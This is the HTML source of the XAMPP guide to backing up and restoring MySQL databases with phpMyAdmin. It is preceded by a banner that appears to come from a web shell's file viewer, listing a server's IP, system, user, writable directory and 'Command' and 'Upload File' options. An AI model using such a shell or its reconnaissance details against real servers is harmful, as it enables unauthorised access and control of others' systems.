|
Server IP : 127.0.0.1 / Your IP : 127.0.0.1 Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3 System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586 User : GerbangSIPAD ( 0) PHP Version : 5.6.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : C:/xampp5/htdocs/dashboard/docs/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<!-- Always force latest IE rendering engine or request Chrome Frame -->
<meta content="IE=edge,chrome=1" http-equiv="X-UA-Compatible">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<!-- Use title if it's in the page YAML frontmatter -->
<title>Backup and Restore MySQL Databases</title>
<link href="/dashboard/stylesheets/normalize.css" rel="stylesheet" type="text/css" /><link href="/dashboard/stylesheets/all.css" rel="stylesheet" type="text/css" />
<script src="/dashboard/javascripts/modernizr.js" type="text/javascript"></script>
<link href="/dashboard/images/favicon.png" rel="icon" type="image/png" />
<script type="text/javascript">
//<![CDATA[
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-76894-1', 'auto');
ga('send', 'pageview');
//]]>
</script>
</head>
<body class="docs docs_backup-restore-mysql">
<div id="fb-root"></div>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&appId=277385395761685";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<div class="contain-to-grid">
<nav class="top-bar" data-topbar>
<ul class="title-area">
<li class="name">
<h1><a href="/dashboard/index.html">Apache Friends</a></h1>
</li>
<li class="toggle-topbar menu-icon">
<a href="#">
<span>Menu</span>
</a>
</li>
</ul>
<section class="top-bar-section">
<!-- Right Nav Section -->
<ul class="right">
<li class=""><a href="/dashboard/faq.html">FAQs</a></li>
<li class="active"><a href="/dashboard/howto.html">HOW-TO Guides</a></li>
<li class=""><a target="_blank" href="/dashboard/phpinfo.php">PHPInfo</a></li>
</ul>
</section>
</nav>
</div>
<div id="wrapper">
<div class="hero">
<div class="row">
<div class="large-12 columns">
<h1>Documentation</h1>
</div>
</div>
</div>
<div class="row">
<div class="large-12 columns">
<ul class="sub-nav">
<li>
<a class="pdf" target="_blank" href="/dashboard/docs/backup-restore-mysql.pdf"> Download PDF
<span>backup-restore-mysql.pdf</span>
</a> </li>
</ul>
<article class="asciidoctor">
<h1>Backup and Restore MySQL Databases</h1>
<div class="paragraph">
<p>XAMPP includes <a href="http://www.phpmyadmin.net/">phpMyAdmin</a>, an open-source, browser-based tool for managing MySQL database servers. This guide walks you through the process of backing up and restoring a MySQL database using phpMyAdmin.</p>
</div>
<div class="paragraph">
<p>This guide assumes that you already have a PHP application that uses a MySQL database deployed on XAMPP. The example application used in this guide is <a href="http://wordpress.com">WordPress</a>, although the steps outlined below will work for any application.</p>
</div>
<div class="admonitionblock tip">
<table>
<tr>
<td class="icon">
<div class="title">Tip</div>
</td>
<td class="content">
Remember that you can install WordPress quickly using the <a href="https://bitnami.com/stack/xampp#wordpress">Bitnami WordPress module for XAMPP</a>.
</td>
</tr>
</table>
</div>
<div class="paragraph">
<p>To backup a MySQL database using phpMyAdmin, follow these steps:</p>
</div>
<div class="olist arabic">
<ol class="arabic">
<li>
<p>Browse to <a href="http://localhost/phpMyAdmin" class="bare">http://localhost/phpMyAdmin</a> or <a href="http://127.0.0.1/phpMyAdmin" class="bare">http://127.0.0.1/phpMyAdmin</a>. If required, log in using your database access credentials. On a fresh XAMPP installation without any changes, you can log in as <em>root</em> with a blank password.</p>
</li>
<li>
<p>Select the database to be backed up from the list in the left navigation pane. In this case, we’re backing up the WordPress database, which is named <em>bitnami_wordpress</em>.</p>
<div class="imageblock">
<div class="content">
<img src="./images/backup-restore-mysql/image1.png" alt="image1">
</div>
</div>
</li>
<li>
<p>Select the "Export" command in the top navigation bar.</p>
</li>
<li>
<p>On the resulting page, select "Quick" as the export method and "SQL" as the output format. Click "Go" to proceed.</p>
<div class="imageblock">
<div class="content">
<img src="./images/backup-restore-mysql/image2.png" alt="image2">
</div>
</div>
</li>
</ol>
</div>
<div class="paragraph">
<p>phpMyAdmin will export the database to a text file as a series of SQL statements. Once done, the browser will prompt you to download it to the desktop. This text file is your backup, so store it safely!</p>
</div>
<div class="imageblock">
<div class="content">
<img src="./images/backup-restore-mysql/image3.png" alt="image3">
</div>
</div>
<div class="paragraph">
<p>At a later point, you may wish to restore the database. To restore the data to a fresh MySQL database using phpMyAdmin, follow these steps:</p>
</div>
<div class="olist arabic">
<ol class="arabic">
<li>
<p>Browse to <a href="http://localhost/phpMyAdmin" class="bare">http://localhost/phpMyAdmin</a> or <a href="http://127.0.0.1/phpMyAdmin" class="bare">http://127.0.0.1/phpMyAdmin</a>. If required, log in using your database access credentials.</p>
</li>
<li>
<p>Select the "New" command in the left navigation pane.</p>
<div class="imageblock">
<div class="content">
<img src="./images/backup-restore-mysql/image4.png" alt="image4">
</div>
</div>
</li>
<li>
<p>On the resulting page, enter a name for the new database (in this case, <em>myblog</em>). Select the collation "utf8_general_ci". Click "Create" to create the database.</p>
<div class="imageblock">
<div class="content">
<img src="./images/backup-restore-mysql/image5.png" alt="image5">
</div>
</div>
<div class="paragraph">
<p>Once the database has been created, it will appear in the left navigation pane.</p>
</div>
<div class="imageblock">
<div class="content">
<img src="./images/backup-restore-mysql/image6.png" alt="image6">
</div>
</div>
</li>
<li>
<p>Select the new database from the left navigation pane. In the resulting page, select the "Import" command in the top navigation bar.</p>
</li>
<li>
<p>Click the "Browse…​" button and select the backup file created earlier. Click "Go" to proceed.</p>
<div class="imageblock">
<div class="content">
<img src="./images/backup-restore-mysql/image7.png" alt="image7">
</div>
</div>
<div class="paragraph">
<p>phpMyAdmin will import the data from the backup file. Once complete, you will see a screen indicating the status of the import.</p>
</div>
<div class="imageblock">
<div class="content">
<img src="./images/backup-restore-mysql/image8.png" alt="image8">
</div>
</div>
</li>
</ol>
</div>
<div class="paragraph">
<p>If you browse the contents of the database, you should now see your original data.</p>
</div>
<div class="imageblock">
<div class="content">
<img src="./images/backup-restore-mysql/image9.png" alt="image9">
</div>
</div>
<div class="paragraph">
<p>You should now update your application’s configuration and point it to your newly-created database. For example, with the Bitnami WordPress module, you will need to edit the <em>wp-config.php</em> file in the <em>apps\wordpress\htdocs\</em> subdirectory of your XAMPP installation directory. Within this file, you will need to update the <em>DB_NAME</em> constant to use the new database name.</p>
</div>
<div class="imageblock">
<div class="content">
<img src="./images/backup-restore-mysql/image10.png" alt="image10">
</div>
</div>
<div class="admonitionblock note">
<table>
<tr>
<td class="icon">
<div class="title">Note</div>
</td>
<td class="content">
By default, PHP (and therefore phpMyAdmin) is configured to only accept uploads up to 2 MB in size. If your database is larger than this, you need to modify the PHP configuration file to accept a larger upload size. To do this, edit the <em>php.ini</em> file in the <em>php\</em> subdirectory of your XAMPP installation directory and increase the values of the <em>post_max_size</em> and <em>upload_max_filesize</em> variables. Save your changes and restart Apache for the changes to take effect.
</td>
</tr>
</table>
</div>
</article>
</div>
</div>
</div>
<footer>
<div class="row">
<div class="large-12 columns">
<div class="row">
<div class="large-8 columns">
<ul class="social">
<li class="twitter"><a href="https://twitter.com/apachefriends">Follow us on Twitter</a></li>
<li class="facebook"><a href="https://www.facebook.com/we.are.xampp">Like us on Facebook</a></li>
<li class="google"><a href="https://plus.google.com/+xampp/posts">Add us to your G+ Circles</a></li>
</ul>
<ul class="inline-list">
<li><a href="/blog.html">Blog</a></li>
<li><a href="/privacy_policy.html">Privacy Policy</a></li>
</ul>
</div>
<div class="large-4 columns">
<p class="text-right">Copyright (c) 2014, Apache Friends</p>
</div>
</div>
</div>
</div>
</footer>
<!-- JS Libraries -->
<script src="//code.jquery.com/jquery-1.10.2.min.js"></script>
<script src="/dashboard/javascripts/all.js" type="text/javascript"></script>
</body>
</html>